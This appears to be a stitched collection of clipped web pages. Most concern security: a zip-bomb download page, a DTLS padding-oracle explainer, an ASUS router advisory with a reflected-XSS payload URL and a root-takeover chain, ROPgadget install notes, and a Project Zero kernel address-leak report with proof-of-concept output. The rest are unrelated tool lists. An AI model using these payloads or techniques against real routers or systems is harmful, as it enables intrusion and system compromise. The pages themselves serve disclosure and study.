· ntop web based tool - ntop is the best tool to see network usage in a way similar to what top command does for processes i.e. it is network traffic monitoring software. You can see network status, protocol wise distribution of traffic for UDP, TCP, DNS, HTTP and other protocols.
· Conky - Another good monitoring tool for the X Window System. It is highly configurable and is able to monitor many system variables including the status of the CPU, memory, swap space, disk storage, temperatures, processes, network interfaces, battery power, system messages, e-mail inboxes etc.
· GKrellM - It can be used to monitor the status of CPUs, main memory, hard disks, network interfaces, local and remote mailboxes, and many other things.
· vnstat - vnStat is a console-based network traffic monitor. It keeps a log of hourly, daily and monthly network traffic for the selected interface(s).
· htop - htop is an enhanced version of top, the interactive process viewer, which can display the list of processes in a tree form.
· mtr - mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.
Did I miss something? Please add your favorite system motoring tool in the comments. 
Featured Articles: 
· 20 Linux System Monitoring Tools Every SysAdmin Should Know
· 20 Linux Server Hardening Security Tips
· 10 Greatest Open Source Software Of 2009
· My 10 UNIX Command Line Mistakes
· Top 5 Email Client For Linux, Mac OS X, and Windows Users
· Top 20 OpenSSH Server Best Security Practices
· Top 10 Open Source Web-Based Project Management Software
· Top 5 Linux Video Editor Software

﻿http://www.unforgettable.dk/ 
42.zip
Created:
7/2/2009 4:27:24 PM
Updated:
7/2/2009 4:27:31 PM
Author:

Tags:
Malware-analysis LOLZ


42.zip

Click here to download 42.zip(42.374 bytes zipped)

The file contains 16 zipped files, which again contains 16 zipped files, which again contains 16 zipped files, which again contains 16 zipped, which again contains 16 zipped files, which contain 1 file, with the size of 4.3GB.

So, if you extract all files, you will most likely run out of space :-)

16 x 4294967295       = 68.719.476.720 (68GB)
16 x 68719476720      = 1.099.511.627.520 (1TB)
16 x 1099511627520    = 17.592.186.040.320 (17TB)
16 x 17592186040320   = 281.474.976.645.120 (281TB)
16 x 281474976645120  = 4.503.599.626.321.920 (4,5PB)

﻿http://blog.cryptographyengineering.com/2012/01/attack-of-week-datagram-tls.html 
A Few Thoughts on Cryptographic Engineering: Attack of the week: Datagram TLS
Created:
1/11/2012 9:26:14 AM
Updated:
1/11/2012 9:26:14 AM
Author:

Tags:
attacks crypto ssl


Attack of the week: Datagram TLS 




Nadhem Alfardan and Kenny Paterson have a paper set to appear in NDSS 2012 entitled 'Plaintext-Recovery Attacks Against Datagram TLS'.* This is obviously music to my ears. Plaintext recovery! Datagram TLS! Padding oracles. Oh my. 



There's just one problem: the paper doesn't seem to be online yet (Update 1/10: It is now! Kenny Paterson kindly sent me the link above.) Infoworld has a few vague details, and it looks like the vulnerability fixes are coming fast and furious. So let's put on our thinking caps and try to puzzle this one out.
What is Datagram TLS?
If you're reading this blog, I assume you know TLS is the go-to protocol for encrypting data over the Internet. Most people associate TLS with reliable transport mechanisms such as TCP. But TCP certainly isn't the only game in town.

Audio/video streaming, gaming, and VoIP apps frequently eschew reliable transport protocols in favor of unreliable datagram transport like UDP. Applications like these don't care if packets arrive out of order, or even if some don't arrive at all. The biggest priority is getting the packets to their destination and processing them the second they arrive.

Since these applications need security too, TLS tries to handle them via an extension called Datagram TLS (DTLS). DTLS addresses the two big limitations that make TLS hard to use on an unreliable datagram transport: 
1. TLS handshake messages need to arrive whole and in the right order. This is easy when you're using TCP, but doesn't work so well with unreliable datagram transport. Moreover, these messages are bigger than the typical 1500 byte Ethernet frame, which means fragmentation (at best), and packet loss (at worst).
 
2. Ordinarily TLS decryption (e.g., CBC mode) assumes that you've received all the previous data. But datagrams arrive when they want to -- that means you need the ability to decrypt any record independently of the others.
Now there are various ways to deal with these problems; DTLS pretty much mounts a frontal assault. The handshake is made reliable by implementing a custom ack/re-transmit framework. A protocol-level fragmentation mechanism is added to break large handshake messages up over multiple datagrams. And most importantly: the approach to encrypting records is slightly modified. 
So what's the problem?
To avoid radical changes, DTLS inherits most of the features of TLS. That includes its wonky (and obsolete) MAC-then-Encrypt approach to protecting data records. Encryption involves three steps: 
1. Append a MAC to the plaintext, to prevent tampering.
2. Pad the resulting message to a multiple of the cipher block size (16 bytes for AES). This is done by appending X bytes of padding, where each byte must contain the value X.
3. Encrypt the whole mess using CBC mode.
Cryptographers have long known that this kind of encryption can admit padding oracle attacks. This happens when decryption implementations do something obvious (throw an error, for example) when they encounter invalid padding that doesn't meet the specification above.

CBC Mode encryption, courtesy Wikipedia.

This wouldn't matter very much, except for the fact that CBC mode is malleable, meaning that an attacker can flip bits in an intercepted ciphertext. This will cause the same bits to remain flipped when the ciphertext is decrypted. Padding oracle attacks work by carefully tweaking a ciphertext in specific ways, then sending it to be decrypted. If the attacker can tell whether the modified ciphertexts produce padding errors, she can gradually peel away the encryption and reveal the underlying plaintext.
Now, I could spend a lot of time describing padding oracle attacks, but for our purposes it's mostly besides the point.** Standard TLS implementations know about this attack and deal with it in a pretty effective way. Whenever the decryptor encounters bad padding, it just pretends that it hasn't. Instead, it goes ahead with the rest of the decryption procedure (i.e., checking the MAC) even if it knows that the message is already borked. 



This is extra work, but it's extra work with a purpose. By going through this process, the decryptor masks every hint that a padding error (rather than a bad MAC) is why it's rejecting the message. By doing all the unnecessary work, even the time required to complete decryption process should be about the same, which prevents clever attackers from detecting padding errors via timing differences. And without this information, padding oracle attacks are dead in the water.
Ok, so you say these attacks are already mitigated. Why are we still talking about this?

Before I go on, I offer one caveat: what I know about this attack comes from speculation, code diffs and some funny shapes I saw in the clouds this afternoon. I think what I'm saying is legit, but I won't swear to it until I read Alfardan and Paterson's paper.



But taking my best guess, there are two problems here. One is related to the DTLS spec, and the second is just an implementation problem. Either one alone probably wouldn't be an issue, but the two together spell big trouble.
The first issue is in the way that the DTLS spec deals with invalid records. Since standard TLS works over a reliable connection, the application should never receive invalid or out-of-order data except when packets are being deliberately tampered with. So when a standard TLS implementation encounters a bad record MAC (or padding) it takes things very seriously -- in fact, it's required to drop the connection. 
This necessitates a new handshake, a new key, and generally makes it hard for attackers to run an honest padding oracle attack -- which typically requires hundreds or thousands of decryption attempts on a single key.***



DTLS, on the other hand, runs over an unreliable datagram transport, which may not correct for accidental packet errors. This means that dropping the connection for every corrupted packet just isn't an option. Thus, the standard is relaxed. An invalid MAC (or padding) will cause a single record to be thrown away, but the connection itself goes on. 
This still wouldn't matter much if it wasn't for the second problem, which is specific to the implementation of DTLS in libraries like OpenSSL and GnuTLS. 
You see, padding oracle vulnerabilities in standard TLS are understood and mitigated. In OpenSSL, for example, the main decryption code has been carefully vetted. It does not return specific padding errors, and to avoid timing attacks it performs the same (unnecessary) operations whether or not the padding checks out.
In a perfect world DTLS decryption would do all the same things. But DTLS encryption is subtly different from standard TLS encryption, which means it's implemented in separate code. Code that isn't used frequently, and doesn't receive the same level of scrutiny as the main TLS code. Thus -- two nearly identical implementations, subject to the same attacks, with one secure and one not.



And if you're the kind of person who needs this all tied up with a bow, I would point you to this small chunk of the diff just released for the latest OpenSSL fix. It comes from the DTLS-specific file d1_pkt.c:



+ /* To minimize information leaked via timing, we will always

+        * perform all computations before discarding the message.

+        */

+ decryption_failed_or_bad_record_mac = 1;

And that's the case, Perry Mason. Presumably with these fixes in place, the MAC-then-Encrypt usage in DTLS will now go back to being, well, just theoretically insecure. But not actively so.



Notes:

* N.J.A. Alfardan and K.G. Paterson, Plaintext-Recovery Attacks Against Datagram TLS, To appear in NDSS 2012.

** See here for one explanation. See also a post from this blog describing a padding oracle attack on XML encryption.

*** There is one very challenging padding oracle attack on standard TLS (also mitigated by current implementations). This deals with the problem of session drops/renegotiation by attacking data that remains constant across sessions -- things like passwords or cookies.

﻿http://www.intelligentexploit.com/view-details.html?id=18529 
ASUS router drive-by code execution XSS & Auth bypass - Intelligent Exploit
Created:
2/24/2014 12:17:16 AM
Updated:
2/24/2014 12:17:16 AM
Author:

Tags:
Embedded vulnerability


ASUS router drive-by code execution XSS & Auth bypass (ASCII  )
ASUS router drive-by code execution via XSS and authentication bypass
=====================================================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/asus-router-auth-bypass.txt


Overview
--------

Various ASUS routers contain reflected Cross-Site Scripting (CWE-79) and 
authentication bypass (CWE-592) vulnerabilities that can be exploited to 
gain remote administrative access to the devices.


Description
-----------

Several ASUS routers include reflected Cross-Site Scripting (CWE-79) and 
authentication bypass (CWE-592) vulnerabilities. An attacker who can lure 
a victim to browse to a web site containing a specially crafted JavaScript 
payload can execute arbitrary commands on the router as administrator 
(root). No user interaction is required.


Impact
------

An attacker can create a JavaScript payload that uses an exploit to unearth
the administrative password from the victim's ASUS router and logs in to 
the device. Once logged in the payload can perform administrative actions, 
including arbitrary command execution as administrator (root).


Details
-------

The CSRF vulnerability CVE-2013-3093 discovered by Jacob Holcomb / 
Independent Security Evaluators (*) affecting various ASUS routers has been 
known for some time. The vulnerability enables an attacker to forge HTML 
forms and execute actions on the behalf of the target user (admin), 
enabling executing administrative functions. Another vulnerability allows 
executing arbitrary commands as administrator (root). ASUS was notified of 
these issues on March 29th 2013.

These vulnerabilities were not considered critical, likely because of the 
seemingly strict prerequisites for the attack:

"- The victim must have an active web application session on their ASUS
   router.
 - The victim must follow a link crafted by an attacker (e.g., by clicking 
   the link directly, or through some other mechanism such as redirection 
   from a malicious site).
 - The victim must have the necessary permissions to render and execute 
   the forged HTTP."
(*) http://securityevaluators.com/knowledge/case_studies/routers/Vulnerability_Catalog.pdf

The two newly discovered vulnerabilities, described in more detail below, 
enable exploiting the earlier vulnerabilities in an automated fashion. The 
attack requires no interaction from the user, other than browsing to a 
website that has been injected with JavaScript code crafted by the attacker. 
The exploit could be embedded into various otherwise benign sites via e.g. 
malicious advertisement banners or by exploiting persistent Cross-Site 
Scripting vulnerabilities. The attacks could also be carried out with 
phishing email campaigns.

The attack utilizes a reflected Cross-Site Scripting vulnerability on the 
unauthenticated error page to bypass the same-origin policy protection. 
Vulnerability number two described below is used to obtain the 
administrator's password. The reflected JavaScript payload executes within 
the context of the ASUS device and is able to utilize the CVE-2013-3093 
CSRF vulnerability to perform actions on the behalf of the user (admin). 
The exploit utilizes the "SystemCmd" arbitrary command execution feature 
to allow remote administrative telnet connectivity from all addresses.


New vulnerabilities
-------------------

1. Reflected Cross-Site Scripting (CWE-79)

There is a Cross-Site Scripting vulnerability on the router error page:

http://192.168.1.1/error_page.htm?flag=%27%2balert(%27XSS%27)%2b%27

The error page is accessible without authentication. This vulnerability 
enables the attacker to bypass same-origin policy restrictions enforced 
by XMLHttpRequest.


2. Authentication bypass (CWE-592)

The router error page http://192.168.1.1/error_page.htm includes the 
current administrative password in clear text.

For example if the administrative password is "Joshua", the page includes 
the following dynamically generated JavaScript:

if('1' == '0' || 'Joshua' == 'admin')

The error page is accessible without authentication. This vulnerability 
enables the attacker with same-origin rights, obtained by utilizing the 
vulnerability above, to read the password by utilizing an XMLHttpRequest 
call. The script can then perform actions as administrator by utilizing 
further XMLHttpRequest calls.


Vulnerable devices
------------------

The vulnerabilities were discovered from an ASUS RT-N16 device, firmware 
version 3.0.0.4.374_979. By sampling a small set of ASUS firmware images 
the following models were also found likely to be vulnerable:

ASUS RT-N10U, firmware 3.0.0.4.374_168
ASUS RT-N56U, firmware 3.0.0.4.374_979
ASUS DSL-N55U, firmware 3.0.0.4.374_1397 *
ASUS RT-AC66U, firmware 3.0.0.4.374_2050 *
ASUS RT-N15U, firmware 3.0.0.4.374_16
ASUS RT-N53, firmware 3.0.0.4.374_311

*) ASUS DSL-N55U and ASUS RT-AC66U did not appear vulnerable to the 
authentication bypass issue. These devices are still vulnerable to the XSS 
and if the default password 'admin' has not been changed, they are easily 
exploitable as well.

This list is by no means comprehensive. It is likely that other devices are 
vulnerable as well.


Vendor recommendations
----------------------

1. Fix the Cross-Site Scripting vulnerabilities, at least from the 
   unauthenticated part of the web interface (error_page.htm)
2. Fix the admin password disclosure on error_page.htm
3. Fix the CSRF (CVE-2013-3093) issue by utilizing anti-CSRF protection


End user mitigation
-------------------

1. Install the latest firmware update, version 3.0.0.4.374.4422 or later.

or

2. If no firmware update has been released, the end users can partially 
   mitigate the vulnerabilities by changing the "Router Login Name" via
   the "Administration - System" menu to be something other than "admin". 
   Changing the router default network to something else than 
   192.168.1.0/24 might also grant some limited protection.


Proof-of-concept
----------------

A proof-of-concept exploit consisting of a small demo web page will be 
released at a later date.


Credits
-------

The vulnerabilities were discovered by Harry Sintonen / nSense Oy.


Previous work
-------------

The Cross-Site Request Forgery and command execution vulnerabilities
(CVE-2013-3093) were discovered by Jacob Holcomb / Independent Security 
Evaluators.


Timeline
--------

15.1.2014  discovered the vulnerabilities
16.1.2014  wrote a preliminary report and PoC
20.1.2014  attempted to send email to security@asus.com and secure@asus.com, 
           both addresses bounced.
20.1.2014  opened a ticket at vip.asus.com on how to report security
           vulnerabilities on ASUS hw.
20.1.2014  emailed netadmin@asus.com.tw asking how to report security
           vulnerabilities on ASUS hw.
20.1.2014  emailed CERT-FI asking for help contacting ASUS.
21.1.2014  CERT-FI was able to figure out ASUS security contact details.
21.1.2014  reported the security vulnerabilities to ASUS.
21.1.2014  reported the security vulnerabilities to CERT-FI vulncoord.
22.1.2014  got a response from representative of the vendor, report forwarded to 
           R&D for review. (ASUS CASEID=RPTM20140121202264-976)
27.1.2014  got a response from the vendor, CWE-592 is fixed in the latest firmware
           version (for some devices?), CWE-79 is still being fixed.
08.2.2014  the vendor reported that the updated firmware will be released 
           during week 8.
13.2.2014  ASUS released firmware updates for RT-N16, RT-N10U, RT-AC66U and 
           RT-N15U.
13.2.2014  requested CVE IDs from MITRE.
19.2.2014  ASUS released a firmware update for RT-N56U.
21.2.2014  released the security advisory.
 
﻿http://www.shell-storm.org/project/ROPgadget/ 
.:Shell-Storm.org:. | Project | ROPgadget tool v2.1
Created:
4/3/2011 2:26:36 PM
Updated:
4/3/2011 2:29:02 PM
Author:

Tags:
Exploit automation rop


Shell-Storm.org is a development organization based on GNU/Linux systems 
that provide free projects and source codes.

Shell-storm.org provides useful information to people who perform security testing.



ROPgadget tool
==============

Download http://www.shell-storm.org/project/ROPgadget/files/



How to install
==============

jonathan@ArchLinux [tmp] $ tar -xf ROPgadget-v2.1.tar.gz
 
jonathan@ArchLinux [tmp] $ cd ROPgadget-v2.1
jonathan@ArchLinux [ROPgadget-v2.1] $ make
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/main.o src/main.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/syntax.o src/syntax.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/display_data.o src/display_data.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/search_gadgets.o src/search_gadgets.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/gadget_linux8632.o src/gadget_linux8632.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/check_elf_format.o src/check_elf_format.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/check_arch_supported.o src/check_arch_supported.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/save_bin_data.o src/save_bin_data.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes   -c -o src/how_many_found.o src/how_many_found.c
gcc -W -Wall -ansi -pedantic -D _BSD_SOURCE -I./includes -o ROPgadget ./src/main.o ./src/syntax.o ./src/display_data.o ./src/search_gadgets.o
 
./src/gadget_linux8632.o ./src/check_elf_format.o ./src/check_arch_supported.o ./src/save_bin_data.o ./src/how_many_found.o
jonathan@ArchLinux [ROPgadget-v2.1] $ su root
Password:
 
root@ArchLinux [ROPgadget-v2.1]# make install
cp ./ROPgadget /usr/bin/ROPgadget
root@ArchLinux [ROPgadget-v2.1]#



Usage
=====


Syntax : ROPgadget <option> <binary>

Options: -d  Dump Hexadecimal
         -g  Search gadgets




Architecture supported (option -g)
==================================

 - Linux/x86-32bits




ROPgadget Screenshots
=====================



 

 


﻿https://bugs.chromium.org/p/project-zero/issues/detail?id=1401 
1401 - Windows Kernel ATMFD.DLL NamedEscape 0x2511 pool address derivation from entropy accumulator - project-zero - Monorail
Created:
11/23/2017 9:34:05 AM
Updated:
11/23/2017 9:34:05 AM
Author:
wishi
Tags:





The OpenType ATMFD.DLL kernel-mode font driver on Windows has an undocumented "escape" interface, handled by the standard DrvEscape and DrvFontManagement functions implemented by the module. The interface is very similar to Buffered IOCTL in nature, and handles 13 different operation codes in the numerical range of 0x2502 to 0x2514. It is accessible to user-mode applications through an exported (but not documented) gdi32!NamedEscape function, which internally invokes the NtGdiExtEscape syscall.

It is difficult to understand the functionality and design of the various escape codes based on the ATMFD.DLL image alone, as no debug symbols are provided for it on the Microsoft Symbol Server. However, such symbols are available for the ATMLIB.DLL user-mode client library which uses the interface, and more importantly for fontdrvhost.exe, the sandboxed user-mode font driver on Windows 10, which shares most of its code with ATMFD. These two sources of information are invaluable in reverse-engineering the NamedEscape code area. All symbols referenced in this report were originally found in fontdrvhost.pdb, but can also be applied to the corresponding code in ATMFD.

Notably, the NamedEscape interface has already been subject to security vulnerabilities. Project Zero  issue #473  describes a pool-based buffer underflow bug discovered in the HackingTeam dump in 2015 (escape 0x2514, BDGetSIDList), while  issue #785  addresses pool corruption in escape code 0x250c (BDGetGlyphList).

The problem discussed in this report is not due to a programming error, but bad design. It can be triggered via escape code 0x2511 (BDSetHWID), whose functionality is not exactly obvious from the code. Its name ("set hardware id") and the fact that it shares some global objects with functions such as GetPlatformID, fa_VerifyPlatformBinding, fa_VerifyFontLicensing, IsCopyProtectedFont etc. suggests that it is related to some old font copy protection mechanism.

What is important is that with each BDSetHWID call, it is possible to obtain a 32-bit value generated by the GenerateKeyValue() function; this key should then normally be used to encrypt the hardware id passed to the driver. In pseudo-code, the GenerateKeyValue() routine is implemented as follows:

--- cut ---
  DWORD GenerateKeyValue() {
    DWORD tmp = lastMallocAddr ^ bswap32(lastMallocAddr) ^ 0xA4958CD4;
    lastMallocAddr = tmp ^ rol(lastMallocAddr, 5);
    return tmp;
  }
--- cut ---

Here, lastMallocAddr is a global 32-bit variable designed to accumulate entropy, which is then used to generate the key value. The entropy is obtained from addresses returned by the memory allocator, and added to lastMallocAddr in a ATMallocExt() wrapper function. A simplified version of the routine (in pseudo-code) is shown below:

--- cut ---
  PVOID ATMallocExt(SIZE_T size) {
    PVOID address = Allocate(size);
    if (alloc != NULL) {
      lastMallocAddr = (SIZE_T)address ^ rol(lastMallocAddr, 5);
    }
    return address;
  }
--- cut ---

To sum up, the routine mixes in addresses of various memory regions into the global seed, which is partially "accessible" to user-mode clients after a number of transformations. Now, the question is whether it is possible to derive the virtual memory addresses xored into lastMallocAddr by observing the output values of the GenerateKeyValue() function. If it was possible, it would enable local attackers to learn about the kernel address space layout, thus defeating the kASLR mitigation and potentially facilitating privilege escalation attacks using other vulnerabilities.

The first step to achieve the goal is to try and derive the current value of lastMallocAddr; with this, calculating the mixed-in addresses would be relatively simple (xor and rol are reversible operations). Unfortunately, the information returned by GenerateKeyValue() is very limited, specifically due to the following expression:

  lastMallocAddr ^ bswap32(lastMallocAddr)

The above construct means that we don't learn the exact value of lastMallocAddr, but receive a DWORD consisting of the following bytes: [#1 xor #4][#2 xor #3][#2 xor #3][#1 xor #4]. Effectively, we only learn about the relation of bytes #1/#4 and #2/#3, which leaves us at 256*256=65536 potential candidates for lastMallocAddr that could generate the specific seed we obtained. However, let's keep in mind that we can query GenerateKeyValue() multiple times and examine how the values change in time. In order to reduce the number of candidates, we can follow the steps listed below:

  1) Request GenerateKeyValue(), generate the first 65536 candidates.
  2) Request GenerateKeyValue() again, check each existing candidate if it could have resulted in the obtained value in the next iteration. This reduces the set to 2048 candidates.
  3) Repeat step (2). This reduces the set to 256 candidates.

At this point, 256 is the minimum number of candidates we can cut the set down to with the limited information we receive; further iterations keep the list at 256 entries. By keeping track of the candidates throughout steps #1-#3, we can know their values at the beginning of the process, as well as at the end.

Even though it's not possible to determine the state of lastMallocAddr with absolute certainty, let's put this fact aside for a bit and consider how a virtual address could be derived based on it. The most important part is to make sure that ATMallocExt() is called exactly once between our lastMallocAddr measurements. One way to achieve this is with a AddFontResource() call, to trigger the loading of a Type-1 PostScript font with a malformed .PFM file (e.g. with out-of-bounds offsets etc.). An allocation of size 0x308 is then requested at the beginning of the LoadFontInternal() function:

--- cut ---
  .text:00016CC4                 push    1
  .text:00016CC6                 push    308h
  .text:00016CCB                 call    _ATMcalloc
--- cut ---

But before any further allocations are requested, ValidatePFMPointers() fails, causing SetupPFMMetrics() to fail, and later for the whole font loading process to abort without any more ATMallocExt() calls. It's important to note, however, that the user-mode gdi32!AddFontResource() API invokes the NtGdiAddFontResourceW syscall a second time if the first one fails. This is the reason why the system call is used directly in our proof-of-concept program.

To summarize, we're now able to calculate the 256 possible values of lastMallocAddr, mix in a virtual address into the variable, and calculate the new 256 candidates again. Since the malloc transformation is fully reversible, we can just put all 256 before/after candidates against each other, resulting in 256*256=65536 candidates of the returned malloc() address. As it turns out, most of these candidates overlap, leaving us with just 256 unique potential addresses. These 256 32-bit values appear to have uniform bit distribution, so each predefined bit in the address divides the number of candidates by 2.

On 32-bit systems, kernel addresses returned by the allocator are guaranteed to have the highest bit set, and be aligned to 8 bytes (three lowest bits cleared). The knowledge of these four bits cuts the number of candidate addresses down to 16. In our proof-of-concept program, the CheckKernelAddress() function determines if a specific value is a feasible address we intend to leak. If we define it as follows:

--- cut ---
  BOOL CheckKernelAddress(DWORD Address) {
    return ((Address >= 0x80000000) && ((Address & 0x7) == 0));
  }
--- cut ---

Then the output of our PoC in a test run on Windows 7 32-bit is:

--- cut ---
  [0] Generated 65536 candidates.
  [1] Reduced candidates from 65536 to 2048.
  [2] Reduced candidates from 2048 to 256.
  [0] Generated 65536 candidates.
  [1] Reduced candidates from 65536 to 2048.
  [2] Reduced candidates from 2048 to 256.
  Alloc candidates: 16
    87e1afd8
    8fe9a7e0
    97f1bfe8
    9ff9b7f0
    a7c18fb8
    afc987c0
    b7d19fc8
    bfd997d0
    c7a1ef98
    cfa9e7a0
    d7b1ffa8
    dfb9f7b0
    e781cf78
    ef89c780
    f791df88
    ff99d790
--- cut ---

Among those values is 0xff99d790, the actual allocation address, as witnessed in WinDbg:

--- cut ---
  0: kd> g
  Breakpoint 0 hit
  ATMFD+0x1456e:
  9c06456e 8bf8            mov     edi,eax

  3: kd> ? eax
  Evaluate expression: -6695024 = ff99d790

  3: kd> dd eax
  ff99d790  00000000 00000000 00000000 00000000
  ff99d7a0  00000000 00000000 00000000 00000000
  ff99d7b0  00000000 00000000 00000000 00000000
  ff99d7c0  00000000 00000000 00000000 00000000
  ff99d7d0  00000000 00000000 00000000 00000000
  ff99d7e0  00000000 00000000 00000000 00000000
  ff99d7f0  00000000 00000000 00000000 00000000
  ff99d800  00000000 00000000 00000000 00000000

  3: kd> !pool eax
  Pool page ff99d790 region is Paged session pool
  [...]
  *ff99d778 size:  328 previous size:  120  (Allocated) *Adbe
      Pooltag Adbe : Adobe's font driver
  [...]
--- cut ---

In order to further limit the number of possible addresses, we could assume the state of four more bits. The most convenient approach would be to have a large allocation requested (i.e. of size >= ~4096), which would then cause it to be placed at the beginning of a memory page, resulting in pre-determined values of the lowest 12 bits. Unfortunately, during a quick search we were unable to find a primitive making it possible to perform a single large allocation on request, so we had to work with the aforementioned 0x308-long one. On the other hand, we noticed during experimentation that all allocations we examined ended up at an address above 0xfe000000. If we assume that the leaked address will be higher than 0xf8000000 and aligned to 8 bytes, then we have 8 predefined bits and can determine the value of the other 24 bits (so the full address) with full certainty. This is illustrated below.

The CheckKernelAddress() function:

--- cut ---
  BOOL CheckKernelAddress(DWORD Address) {
    return ((Address >= 0xf8000000) && ((Address & 0x7) == 0));
  }
--- cut ---

The proof-of-concept output:

--- cut ---
  [0] Generated 65536 candidates.
  [1] Reduced candidates from 65536 to 2048.
  [2] Reduced candidates from 2048 to 256.
  [0] Generated 65536 candidates.
  [1] Reduced candidates from 65536 to 2048.
  [2] Reduced candidates from 2048 to 256.
  Alloc candidates: 1
    ff980018
--- cut ---

And the WinDbg console log:

--- cut ---
  Breakpoint 0 hit
  ATMFD+0x1456e:
  9c06456e 8bf8            mov     edi,eax

  1: kd> ? eax
  Evaluate expression: -6815720 = ff980018

  1: kd> dd eax
  ff980018  00000000 00000000 00000000 00000000
  ff980028  00000000 00000000 00000000 00000000
  ff980038  00000000 00000000 00000000 00000000
  ff980048  00000000 00000000 00000000 00000000
  ff980058  00000000 00000000 00000000 00000000
  ff980068  00000000 00000000 00000000 00000000
  ff980078  00000000 00000000 00000000 00000000
  ff980088  00000000 00000000 00000000 00000000

  1: kd> !pool eax
  Pool page ff980018 region is Paged session pool
  *ff980000 size:  328 previous size:    0  (Allocated) *Adbe
      Pooltag Adbe : Adobe's font driver
  [...]
--- cut ---

The above example demonstrates that the leak was successful and the kernel address was fully derived based on lastMallocAddr and the GenerateKeyValue() function output. The attack is most useful on 32-bit editions of Windows 7 and 8, as they allow user-mode clients to freely interact with the ATMFD driver and leak the full 32-bit kernel addresses.

On 64-bit platforms, the attack also works, but since the variable types used in BDSetHWID are still 32-bit, it is only possible to leak the lower 32 bits of kernel addresses.

On Windows 10, one can still invoke the NamedEscape code in ATMFD from user space, and so the attack should work in theory. However, since the kernel driver is no longer used to load and parse fonts (the task was offloaded to fontdrvhost.exe), we haven't found a way to trigger the necessary ATMallocExt() call to request the leaked allocation in the first place. One idea around it was to try to leak the addresses returned by the allocator while the driver was loading, but as there are a total of 8 ATMallocEx() calls in the process, the information is combined and lost at the high granularity we're interested in.

The proof-of-concept code is designed for Windows 7 32-bit, but could be easily ported to other systems by adjusting the hardcoded NtGdiAddFontResourceW system call number, or implementing a 64-bit syscall stub (for x64 platforms).

An intuitive way of fixing the bug is to change the source of entropy from kernel addresses to proper crypto API (or some lesser PRNG if high-quality random numbers are not required), or to remove the specific escape code altogether, if it's not used by any user-mode clients anymore.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
 
 
poc.cpp 
6.9 KB View Download


﻿http://www.awcore.com/html/news/14/25-Time-saving-Generators_en 
25 "Time-saving" Generators for Designers - HTML
Created:
12/19/2011 9:39:32 AM
Updated:
12/19/2011 9:39:32 AM
Author:

Tags:
web Design


25 "Time-saving" Generators for Designers
 


1.Loader Generator
Equipped with a set of pre-designed loading icons, Loader Generator allows you to customize and generate your own loading ‘spinner’.


2.AjaxLoad
Like Loader Generator, AjaxLoad is another free tool that generates cool loading icons.


3.TartanMaker
Fancy some Tartan-stripes background? Check out TartanMaker – a free design tool that helps create Tartan designs instantly.


4.ColorWizard
Lack of good color? Use color wizard to do color-matching for you. The color wizard lets you submit your own base color, and it automatically returns matching colors for the one you selected.


5.Color Scheme Designer
The Color Scheme Designer is a brilliant color-matching tool for those who are selecting colors for their designs.


6.Favicon CC
Favicon CC is not exactly a web generator tool. However, it enables you to draw and create favicon easily online – which I think most of y’all would be interested to look at.


7.StripeGenerator
Stripe Generator 2.0 is a free design tool supported by Pop Minds Web & New Techs Studio (long name huh?). It helps generate (almost) any kinds of stripe you want for web background.


8.StripeMania
Stripemania is a simple and free web tool to create seamless diagonal stripes for your designs. You are able to choose the size of the stripes and the spacing between those.


9.StripedBackgrounds
StripedBackgrounds generates a 5 column striped background with your chosen colors and resolution.


10.Dotter
Dotter allows you to easily create stylish dotted background with either one or two colors.


11.Background Generator
Background Generator provides the ability to edit the background of any website in real-time. It allows you to create fancy web 3.0 backgrounds without getting dirty with Photoshop and other image editing software.


12.Patternify
Patternify is an app that lets you create simple pixel patterns and export them either as PNG or as base64 code.


13.Pictaculous
Pictaculous helps you to decide which colors suit best with a particular image. Just upload an image and it will generate a color palette from it. You can also download Adobe Swatch File (ACO).


14.Tabs Generator
Need some cool tabs in seconds? Well, then you need TabsGenerator. TabsGenerator is a convenient design tool that allows users to create highly-customizable tabs (tweak size, colors, corners and borders) in CSS


15.Web 2.0 Badges
Web 2.0 Badges is a very popular badge generator (mainly because of their beautiful pre-designed badges, I guess). Any webmaster who is too lazy to design their own badges should check them out.


16.CSS Button Generator
With the CSS Button Generator you can instantly make buttons for your website or blog that use your colors, web fonts, and sizes. The CSS button generator uses no images and can say anything you want in any colors or size.


17.CSS3 Please
CSS3, Please! is a Cross-Browser CSS3 rule generator. You can edit the underlined values in this CSS file and when done, copy the whole CSS code.



18.CSS3Warp
CSS3Warp is a proof of concept: create Illustrator like “warped” text (text following an irregular path) with pure CSS and HTML.



19.CSS3 Text Shadow Generator
CSS3 text shadow generator helps you insert beautiful shadow effects to your texts. You can change between different web fonts and explore different shadow effects such as Fire, 3D , acid and more stunning examples.



20.CSS3 Pie
PIE makes Internet Explorer 6-8 capable of rendering several of the most useful CSS3 decoration features.



21.CSS Menu Generator
This generator is great for when you just need a quick, simple drop-down menu. Just choose a style, create your menu items, and download.



22.BgPatterns
BgPatterns helps create classy background (see image). There are dozens of cool patterns to choose from and it’s a must see tool for all web designers.



23.Textorizer
Textorizer is a nice piece of web application that allows you to create cool graphics using text of your choice. The tool takes jpeg, png, gif, or xpm file less than 128K in length and produces an SVG file which reconstructs the original image using parts of the text scattered around.



24.UNIQUE
Gender, face features, wearings, skin colors... UNIQUE is a free web tool that allows users to create highly-customizable, human-like, avatars. Mind you, this web tool is kinda addictive.



25.QuickRibbon
QuickRibbon helps generate custom site ribbon. Input your link details and styles selections; and the tool will take care of the necessary Javascript coding



See Also:
The 30 Most Effective jQuery Plugins

﻿http://blog.cryptographyengineering.com/2013/12/how-does-nsa-break-ssl.html?spref=tw 
A Few Thoughts on Cryptographic Engineering: How does the NSA break SSL?
Created:
12/3/2013 8:53:25 AM
Updated:
12/3/2013 8:53:25 AM
Author:

Tags:
